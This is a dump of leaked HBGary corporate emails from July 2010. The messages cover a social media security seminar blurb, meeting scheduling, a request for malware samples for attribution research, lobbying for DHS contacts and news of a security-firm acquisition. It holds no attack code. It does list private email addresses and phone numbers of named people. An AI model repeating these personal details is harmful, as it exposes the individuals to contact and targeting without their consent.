this\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, July 16, 2010 12:40 PM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Social Media Write Up\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHow is this?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSocial\r\nmedia has become part of the fabric of how we communicate and collaborate as a\r\nsociety.&nbsp; The rise of the social web, and convergence of related technologies\r\n(e.g., mobile, location based services), has enabled faster information sharing\r\nand feedback cycles across a global audience.&nbsp; By nature of their use, social\r\nmedia services contain significant amounts of personally identifiable\r\ninformation (PII).&nbsp; Given the ease and speed of use, they also present a\r\nsignificant risk of unauthorized disclosure of intellectual property or other\r\nsensitive information.\r\n\r\nWith\r\nthe exploding number of users of social media services, it is a fact that\r\nfamily, friends, customers, prospects, partners, suppliers, constituents,\r\ncitizens, competitors and adversaries are all participating, intermingled in\r\nthese same services.&nbsp; Given the breadth of participation and the potential\r\nbenefits, enterprises and government agencies beginning to leverage social\r\nmedia for gains, however are anxious of the inherent risks in their use.&nbsp;\r\nRecent DoD Directives opening up military networks to social media platforms\r\nand the vocalized concern that followed underscore this point.&nbsp; PII released\r\nfor social media use is difficult to manage across a single platform, but\r\npresents significantly greater risk of unintended personal and organizational\r\ninformation exposure when aggregated across multiple social media platforms.\r\n\r\nOur\r\ntraining covers the direction of the social web, describes effective uses and\r\nthe risks of information exposure to people and organizations as well as run\r\nthrough some use cases demonstrating the ease of acquiring sensitive\r\ninformation by crawling and correlating social media information, including\r\nlive demonstrations of social media reconnaissance.&nbsp; After understanding the\r\nmain areas of risk to an organization regarding use of social media, will we\r\nprovide mitigation techniques covering people, process and technology.&nbsp; By\r\nmanaging these risks, organizations can more comfortably gain the value of\r\nthese sites, while protecting the organization and its sensitive information,\r\nwhether personally identifiable or intellectual property-based.&nbsp; Attendees will\r\ngain knowledge doing risk assessments of social media use, risks and mitigation\r\ntechniques for social media use to prepare for more appropriate adoption.&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jul 16, 2010, at 2:55 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo I think a written summary would be good, it should be to the\r\npoint and provide info on what you will learn. &nbsp;Remember we are trying to\r\ndraw people to the event, it has to be somewhat salesy\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, July 16,\r\n2010 11:17 AM\r\nTo:&nbsp;Penny Leavy-Hoglund\r\nSubject:&nbsp;Re: Social Media\r\nWrite Up\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo problem. &nbsp;In what format. &nbsp;I can give you an\r\nupdated power point, an abstract?\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jul 16, 2010, at 12:34 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFor seminars.&nbsp; I need something to push\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPenny C. Leavy\r\n\r\n\r\n\r\n\r\n\r\nPresident\r\n\r\n\r\n\r\n\r\n\r\nHBGary, Inc\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNOTICE –&nbsp;Any tax information or written tax advice contained herein\r\n(including attachments) is not intended to be and cannot be used by any\r\ntaxpayer for the purpose of avoiding tax penalties that may be imposed\r\non&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to\r\nU.S. Treasury regulations governing tax practice.)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15103,'aaron_hbgary_com/15103.html'),(8693,'2010-07-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006673.M485594P14101Q3548.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Social Media Write Up','The reasons are really the same ease in social recon = ease in I\'d theft, fraud, and theft of ip. &nbsp;I will explain better.Sent from my iPhoneOn Jul 16, 2010, at 5:17 PM, \"Penny Leavy-Hoglund\" &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nIt’s good for gov’t, but how and why would a corporate office\r\nwant to attend?&nbsp; To eliminate the need for Russian hackers to use this info to\r\ngain access to a bank account, for China to target developers of IP at a\r\nstrategic co?&nbsp; You need to include this\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, July 16, 2010 12:40 PM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Social Media Write Up\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHow is this?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSocial\r\nmedia has become part of the fabric of how we communicate and collaborate as a\r\nsociety.&nbsp; The rise of the social web, and convergence of related technologies\r\n(e.g., mobile, location based services), has enabled faster information sharing\r\nand feedback cycles across a global audience.&nbsp; By nature of their use, social\r\nmedia services contain significant amounts of personally identifiable\r\ninformation (PII).&nbsp; Given the ease and speed of use, they also present a\r\nsignificant risk of unauthorized disclosure of intellectual property or other\r\nsensitive information.\r\n\r\nWith\r\nthe exploding number of users of social media services, it is a fact that\r\nfamily, friends, customers, prospects, partners, suppliers, constituents,\r\ncitizens, competitors and adversaries are all participating, intermingled in\r\nthese same services.&nbsp; Given the breadth of participation and the potential\r\nbenefits, enterprises and government agencies beginning to leverage social\r\nmedia for gains, however are anxious of the inherent risks in their use.&nbsp;\r\nRecent DoD Directives opening up military networks to social media platforms\r\nand the vocalized concern that followed underscore this point.&nbsp; PII released\r\nfor social media use is difficult to manage across a single platform, but\r\npresents significantly greater risk of unintended personal and organizational\r\ninformation exposure when aggregated across multiple social media platforms.\r\n\r\nOur\r\ntraining covers the direction of the social web, describes effective uses and\r\nthe risks of information exposure to people and organizations as well as run\r\nthrough some use cases demonstrating the ease of acquiring sensitive\r\ninformation by crawling and correlating social media information, including\r\nlive demonstrations of social media reconnaissance.&nbsp; After understanding the\r\nmain areas of risk to an organization regarding use of social media, will we\r\nprovide mitigation techniques covering people, process and technology.&nbsp; By\r\nmanaging these risks, organizations can more comfortably gain the value of\r\nthese sites, while protecting the organization and its sensitive information,\r\nwhether personally identifiable or intellectual property-based.&nbsp; Attendees will\r\ngain knowledge doing risk assessments of social media use, risks and mitigation\r\ntechniques for social media use to prepare for more appropriate adoption.&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jul 16, 2010, at 2:55 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo I think a written summary would be good, it should be to the\r\npoint and provide info on what you will learn. &nbsp;Remember we are trying to\r\ndraw people to the event, it has to be somewhat salesy\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, July 16,\r\n2010 11:17 AM\r\nTo:&nbsp;Penny Leavy-Hoglund\r\nSubject:&nbsp;Re: Social Media\r\nWrite Up\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo problem. &nbsp;In what format. &nbsp;I can give you an\r\nupdated power point, an abstract?\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jul 16, 2010, at 12:34 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFor seminars.&nbsp; I need something to push\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPenny C. Leavy\r\n\r\n\r\n\r\n\r\n\r\nPresident\r\n\r\n\r\n\r\n\r\n\r\nHBGary, Inc\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNOTICE –&nbsp;Any tax information or written tax advice contained herein\r\n(including attachments) is not intended to be and cannot be used by any\r\ntaxpayer for the purpose of avoiding tax penalties that may be imposed\r\non&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to\r\nU.S. Treasury regulations governing tax practice.)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8666,'aaron_hbgary_com/8666.html'),(8694,'2010-07-16','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006673.M773586P14101Q3549.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Social Media Write Up','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYeah you need to spell it out.  They are BIG picture guys, so\r\nmake sure you use things like compliance, risk mitigation, legal ramifications\r\netc.  Remember they aren’t the techies, \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, July 16, 2010 2:19 PM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Social Media Write Up\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThe reasons are really the same ease in social recon = ease\r\nin I\'d theft, fraud, and theft of ip. &nbsp;I will explain better.\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jul 16, 2010, at 5:17 PM, &quot;Penny Leavy-Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIt’s\r\ngood for gov’t, but how and why would a corporate office want to attend?&nbsp;\r\nTo eliminate the need for Russian hackers to use this info to gain access to a\r\nbank account, for China to target developers of IP at a strategic co?&nbsp; You\r\nneed to include this\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, July 16, 2010 12:40 PM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Social Media Write Up\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHow\r\nis this?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSocial\r\nmedia has become part of the fabric of how we communicate and collaborate as a\r\nsociety.&nbsp; The rise of the social web, and convergence of related\r\ntechnologies (e.g., mobile, location based services), has enabled faster\r\ninformation sharing and feedback cycles across a global audience.&nbsp; By\r\nnature of their use, social media services contain significant amounts of\r\npersonally identifiable information (PII).&nbsp; Given the ease and speed of\r\nuse, they also present a significant risk of unauthorized disclosure of\r\nintellectual property or other sensitive information.\r\n\r\nWith\r\nthe exploding number of users of social media services, it is a fact that\r\nfamily, friends, customers, prospects, partners, suppliers, constituents,\r\ncitizens, competitors and adversaries are all participating, intermingled in\r\nthese same services.&nbsp; Given the breadth of participation and the potential\r\nbenefits, enterprises and government agencies beginning to leverage social\r\nmedia for gains, however are anxious of the inherent risks in their use.&nbsp;\r\nRecent DoD Directives opening up military networks to social media platforms\r\nand the vocalized concern that followed underscore this point.&nbsp; PII\r\nreleased for social media use is difficult to manage across a single platform,\r\nbut presents significantly greater risk of unintended personal and organizational\r\ninformation exposure when aggregated across multiple social media platforms.\r\n\r\nOur\r\ntraining covers the direction of the social web, describes effective uses and\r\nthe risks of information exposure to people and organizations as well as run\r\nthrough some use cases demonstrating the ease of acquiring sensitive\r\ninformation by crawling and correlating social media information, including\r\nlive demonstrations of social media reconnaissance.&nbsp; After understanding\r\nthe main areas of risk to an organization regarding use of social media, will\r\nwe provide mitigation techniques covering people, process and technology.&nbsp;\r\nBy managing these risks, organizations can more comfortably gain the value of\r\nthese sites, while protecting the organization and its sensitive information,\r\nwhether personally identifiable or intellectual property-based.&nbsp; Attendees\r\nwill gain knowledge doing risk assessments of social media use, risks and\r\nmitigation techniques for social media use to prepare for more appropriate\r\nadoption.&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nJul 16, 2010, at 2:55 PM, Penny Leavy-Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo I\r\nthink a written summary would be good, it should be to the point and provide\r\ninfo on what you will learn. &nbsp;Remember we are trying to draw people to the\r\nevent, it has to be somewhat salesy\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, July 16,\r\n2010 11:17 AM\r\nTo:&nbsp;Penny Leavy-Hoglund\r\nSubject:&nbsp;Re: Social Media\r\nWrite Up\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo\r\nproblem. &nbsp;In what format. &nbsp;I can give you an updated power point, an\r\nabstract?\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jul 16, 2010, at 12:34 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFor\r\nseminars.&nbsp; I need something to push\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nPenny\r\nC. Leavy\r\n\r\n\r\n\r\n\r\n\r\nPresident\r\n\r\n\r\n\r\n\r\n\r\nHBGary,\r\nInc\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNOTICE –&nbsp;Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThis message and any attached files may\r\ncontain information that is confidential and/or subject of legal privilege\r\nintended only for use by the intended recipient. If you are not the intended\r\nrecipient or the person responsible for&nbsp;&nbsp; delivering the message to\r\nthe intended recipient, be advised that you have received this message in error\r\nand that any dissemination, copying or use of this message or attachment is\r\nstrictly\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4200,'aaron_hbgary_com/4200.html'),(8695,'2010-07-16','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006673.M987236P14101Q3550.eml','\"Bob Shows\" <rj.shows@ngc.com>','Lost the ball','When are we meeting?\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n',8022,'aaron_hbgary_com/8022.html'),(8696,'2010-07-16','\"Shows, Bob (IS)\" <rj.shows@ngc.com>','/aaron@hbgary.com/new/1297006674.M190546P14101Q3551.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Godwin, Gib (IS)\" <James.Godwin@ngc.com>','RE: EXTERNAL:Lost the ball','Gib, \r\n\r\nWe were waiting for you to get back in town to set a time to discuss the\r\ncapabilities of Aaron\'s company.  I\'m on vacation next week--the\r\nfollowing week, I\'ll be in Herndon, but could make time for a late day\r\nmeeting/concall on Mon-Wed.  \r\n\r\nYour availability?\r\n\r\nRobert \'Bob\' Shows \r\nUSAF Account Team NGIS/DSD\r\nNorthrop Grumman Corporation \r\n310.210.2549 \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Friday, July 16, 2010 4:31 PM\r\nTo: Shows, Bob (IS)\r\nSubject: EXTERNAL:Lost the ball\r\n\r\nWhen are we meeting?\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n',11753,'aaron_hbgary_com/11753.html'),(8697,'2010-07-16','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006675.M956301P14101Q3552.eml','\"Barr Aaron\" <aaron@hbgary.com>','Help me solve the attribution problem','&quot;Sandoval Jr, Jose (TASC Inc)&quot; &lt;jose.sandoval@tasc.com&gt;, &quot;Lawrence Hill&quot; &lt;lawrence.hill@ngc.com&gt;, &quot;Glen Gaffney&quot; &lt;gaffer172@adelphia.net&gt;, &quot;Scott Chappell&quot; &lt;scott.chappell@smdc-cs.army.mil&gt;, dale.graham@ngc.com, &quot;Ed Watanabe&quot; &lt;ewatanabe@aol.com&gt;, &quot;Stan Potter&quot; &lt;slpotte@nsa.gov&gt;, &quot;Stan Potter&quot; &lt;stan.potter@gmail.com&gt;, &quot;Mark Spencer&quot; &lt;mark.l.spencer@ngc.com&gt;, &quot;Don Bailey&quot; &lt;baileyde5@verizon.net&gt;, \r\nGreetings from Colorado Springs,I am sending this request to a small group of individuals.  Please do not forward this email to third parties.  HBGary is working hard to solve the attribution problem.  We have developed a fingerprint tool which extracts toolmarks left behind in malware executables.  We use these toolmarks to cluster exploits together which were compiled on the same computer system or development environment.  Notice the clusters in the graphic below.  These groupings illustrate the relationships between over 3000 malware samples.\r\n\r\nYou can help me solve the attribution problem by providing malware samples from your organization or your customers organizations which have been used in actual exploit attempts.  I am especially interested in APT malware samples, but welcome any specimens that you can provide.  Please send malware samples in a password protected zip file.  Provide the password via phone 719-237-8623 or fax to:  720-836-4208 (please be sure to include the name of the zip file).  We are briefing this technology at Blackhat, so we need your samples as soon as possible.  Samples provided will not be shared with third parties and your participation will be held in strict confidence.\r\n\r\nIn exchange for your help, I will provide you with a summary report of our findings and you will have made a significant contribution to securing America&#39;s networks. Regards,\r\n\r\nTed -- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n\r\n',15310,'aaron_hbgary_com/15310.html'),(8698,'2010-07-16','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006679.M883882P14101Q3553.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','FW: Obama','I need help getting to Janet ASAP.  TSA was slated to buy $800K Sept, this\r\nwas pushed out till Q2, do you know anyone??\r\n\r\n-----Original Message-----\r\nFrom: Gary McGraw [mailto:gem@cigital.com] \r\nSent: Friday, July 16, 2010 9:35 AM\r\nTo: Penny Hoglund; Greg Hoglund\r\nSubject: Obama\r\n\r\nI got to see Obama on Wednesday at the White House.  Most excellent...\r\n\r\nhttp://www.informit.com/articles/article.aspx?p=1617137\r\n\r\nhttp://www.cigital.com/justiceleague/2010/07/16/cigital-participates-in-whit\r\ne-house-discussion-on-the-progress-of-the-president%E2%80%99s-cybersecurity-\r\nefforts/\r\n\r\ngem\r\n\r\n\r\n',7229,'aaron_hbgary_com/7229.html'),(8699,'2010-07-16','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006680.M102400P14101Q3554.eml','\"Barr Aaron\" <aaron@hbgary.com>','DHS','Aaron, Penny wants to know if we have any Sr. level contacts at DHS -- the closer to Janet Napoliano the better.  She want&#39;s to try to escalate our $800K deal to go through this year.\r\nTed\r\n\r\n',3232,'aaron_hbgary_com/3232.html'),(8700,'2010-07-16','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006681.M28172P14101Q3555.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Help me solve the attribution problem','This is what I sent (bcc&#39;d everyone so they couldn&#39;t see recipient list)...---------- Forwarded message ----------From: Ted Vera &lt;ted@hbgary.com&gt;\r\nDate: Fri, Jul 16, 2010 at 5:22 PMSubject: Help me solve the attribution problemTo: Greetings from Colorado Springs,I am sending this request to a small group of individuals that I personally know, and who I think may be able to help.  Please do not forward this email to third parties without my prior approval.  HBGary is working hard to solve the attribution problem.  We have developed a cutting-edge fingerprint tool which extracts toolmarks left behind in malware executables.  We use these toolmarks to cluster exploits together which were compiled on the same computer system or development environment.  Notice the clusters in the graphic below.  These groupings illustrate the relationships between over 3000 malware samples. The tighter the shotgroup, the higher the confidence that those samples were compiled by the same individual or group.\r\n\r\n\r\n\r\nYou can help me solve the attribution problem by providing malware samples from your organization or your customers organizations which have been used in actual exploit attempts.  I am especially interested in APT malware samples, but welcome any specimens that you can provide.  \r\n\r\nPlease send malware samples in a password protected zip file.  Provide the password via phone 719-237-8623 or fax to: 720-836-4208 (please be sure to include the name of the zip file).  We are briefing this technology at Blackhat, so we need your samples as soon as possible, and would appreciate it if you would treat this information as sensitive.  Samples provided will not be shared with third parties and your participation will be held in strict confidence.\r\n\r\n\r\n\r\nIn exchange for your help, I will provide you with a free summary report of our findings (which you may share with your customers who provided samples) and you will have made a significant contribution to securing America&#39;s networks. \r\n\r\nPlease feel free to contact me if you have any questions or would like to learn more about this technology.Regards,\r\n\r\nTed -- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',14115,'aaron_hbgary_com/14115.html'),(8701,'2010-07-16','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297006681.M285914P14101Q3556.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: SUnbelt was acquired','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThis effects tmc\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Friday, July 16, 2010 8:05 AM\r\nTo: \'Bob Slapnik\'; \'Rich Cummings\'; \'Maria Lucas\'; \'Greg Hoglund\'\r\nSubject: SUnbelt was acquired\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWhen we last wrote about Maltese security firm GFI\r\nSoftware in October 2009, it had just\r\npurchased Katharion, a Los Angeles-based provider of hosted\r\nemail-filtering, anti-spam and anti-malware services. At the time, GFI said\r\nthat more M&amp;A was in the pipeline, thanks in part to a growing business and\r\n$50m in backing from majority owner Insight Venture Partners to help\r\nbuild a comprehensive security portfolio for the midmarket and SMBs.\r\n\r\nNow, it looks as if GFI has put some of that capital to\r\nwork, snagging Sunbelt Software, a low-profile anti-malware firm with a\r\nwell-regarded virus engine, dubbed VIPRE. The buyer says more acquisitions are\r\non the way, as it looks to build its profile in the consumer space and among\r\nmanaged security services providers. With GFI revenue nearing $100m, we wonder\r\nif an IPO might also be in the works. \r\n\r\nDeal details\r\n\r\nGFI bought Sunbelt for an undisclosed sum. It says it will\r\nretain almost all of Sunbelt\'s employees and make the target\'s offices in\r\nClearwater, Florida, GFI\'s new US headquarters. Sunbelt\'s products, including\r\nits VIPRE and CounterSpy product lines and CWSandbox offering, will be folded\r\ninto GFI\'s existing security products unit, which will be headed by Sunbelt CEO\r\nAlex Eckleberry. GFI says its security revenue, including the acquisition, will\r\ntotal around $60m, with overall revenue of around $100m in 2010. Although the\r\ntotal deal value wasn\'t disclosed, Sunbelt reported fiscal 2009 revenue of\r\naround $20m, with top-line growth of around 30%, putting the vendor on track for\r\n2010 revenue in the high-$20m to low-$30m range. Sunbelt was advised by America\'s\r\nGrowth Capital on the deal. GFI did not use an adviser. \r\n\r\nDeal rationale\r\n\r\nYou might assume that, between its own technology and what\r\nit obtained with Katharion, GFI already had much of what it acquired with\r\nSunbelt. But GFI apparently saw what it wanted in Sunbelt, especially the\r\nrecently developed VIPRE engine, which has garnered high marks from OEM\r\npartners since it was released two years ago. While most antivirus (AV) firms\r\nare chugging along with engines and legacy code that dates back to the late\r\n1990s, Sunbelt\'s VIPRE, which was built from scratch, offers some real\r\nadvantages in both speed and detection rates over legacy platforms. That no\r\ndoubt appealed to GFI, which is planning to integrate the engine closely with\r\nits GFI Max management console and use it to boost the value of its other\r\non-premises and hosted offerings. GFI clearly was also attracted to Sunbelt\'s\r\nmalware research team, and by the company\'s strong presence in the US &#8211; a\r\nmarket where GFI has had low visibility.\r\n\r\nFrom Sunbelt\'s standpoint, the sale to GFI is all about\r\naccess to markets and capital. As CEO Eckleberry admits, the fast-moving\r\nsecurity space favors the fleet of foot and well funded. As a second-tier firm\r\nwith $30m in revenue, Sunbelt was finding itself in the unwelcome position of\r\nhaving to maintain steep investments in infrastructure and people, while also\r\ntrying to find a way to tap into hot markets like managed security services and\r\ncloud-based security. This deal gives the company the backing of GFI (and, by\r\nimplication, Insight); a mature channel and a sales organization that, like\r\nSunbelt\'s, is focused on the SMB space; and a big presence in Europe, which\r\npreviously only accounted for a small fraction of the target\'s business.\r\nTogether with GFI, Sunbelt can now challenge other aspiring consumer and SMB\r\nfirms for a slice of the pie in both North America and Europe &#8211; notably Sophos\r\nand Kaspersky Lab. \r\n\r\nTarget profile\r\n\r\nFounded in 1994, Sunbelt Software began its life as an\r\nanti-spam vendor, originally OEMing Avira\'s AV engine. Gradually\r\nexpanding outward in the anti-malware space, the company acquired personal\r\nfirewall vendor Kerio in December 2005. In 2006, Sunbelt introduced its\r\nmessaging security product Ninja (which has since been folded into its\r\nanti-malware suite) and its malware-analysis tool CWSandbox. The company\'s AV\r\nproduct VIPRE was brought to market in 2008 with versions aimed both at\r\nconsumers and the enterprise. Today, Sunbelt\'s enterprise offering includes\r\nanti-malware, endpoint protection, email security, file archiving and disaster\r\nrecovery.\r\n\r\nSunbelt currently has 250 employees, with 95% of sales\r\ncoming from North America. Last year, the firm launched an office in the UK,\r\nhoping to grow its European presence. Before beginning acquisition talks with\r\nGFI, Sunbelt had been seeking additional funding to fuel its expansion. \r\n\r\nAcquirer profile\r\n\r\nGFI Software was founded in 1992 as an e-fax software\r\nvendor. The company was launched by Nick Galea and another partner who was\r\nshortly bought out. Galea left in 2005 when Insight acquired GFI for an\r\nestimated $100m. Walter Scott, formerly of storage and disaster recovery\r\nprovider Acronis, came on board in 2008 as the current CEO. In 2009, the\r\ncompany snagged infrastructure management services firm HoundDog Technology\r\nas well as hosted security vendor Katharion.\r\n\r\nFrom its beginnings as an e-fax software provider (with its\r\nGFI Faxmaker product), GFI has expanded to encompass Web and email security,\r\nvulnerability scanning, log and patch management, and backup and recovery. The\r\ncompany\'s hosted services were obtained via its purchase of Katharion, 